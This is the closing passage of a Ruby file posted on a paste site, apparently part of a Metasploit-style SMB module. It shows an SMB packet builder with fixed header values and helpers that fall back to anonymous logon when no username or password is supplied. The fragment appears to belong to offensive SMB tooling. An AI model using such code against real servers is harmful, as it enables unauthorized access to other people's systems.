  697. packet.smb_header.flags2.read("\x07\xc0")
  698. packet.smb_header.tid = tree_id
  699. packet.smb_header.uid = user_id
  700. packet.smb_header.pid_low = 65279
  701. packet.smb_header.mid = 64
  702. packet
  703. end
  704.  
  705.  
  706. # Returns the value to be passed to SMB clients for
  707. # the password. If the user hs not supplied a password
  708. # it returns an empty string to trigger an anonymous
  709. # logon.
  710. #
  711. # @return [String] the password value
  712. def smb_pass
  713. if datastore['SMBPass'].present?
  714. datastore['SMBPass']
  715. else
  716. ''
  717. end
  718. end
  719.  
  720. # Returns the value to be passed to SMB clients for
  721. # the username. If the user hs not supplied a username
  722. # it returns an empty string to trigger an anonymous
  723. # logon.
  724. #
  725. # @return [String] the username value
  726. def smb_user
  727. if datastore['SMBUser'].present?
  728. datastore['SMBUser']
  729. else
  730. ''
  731. end
  732. end
  733. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement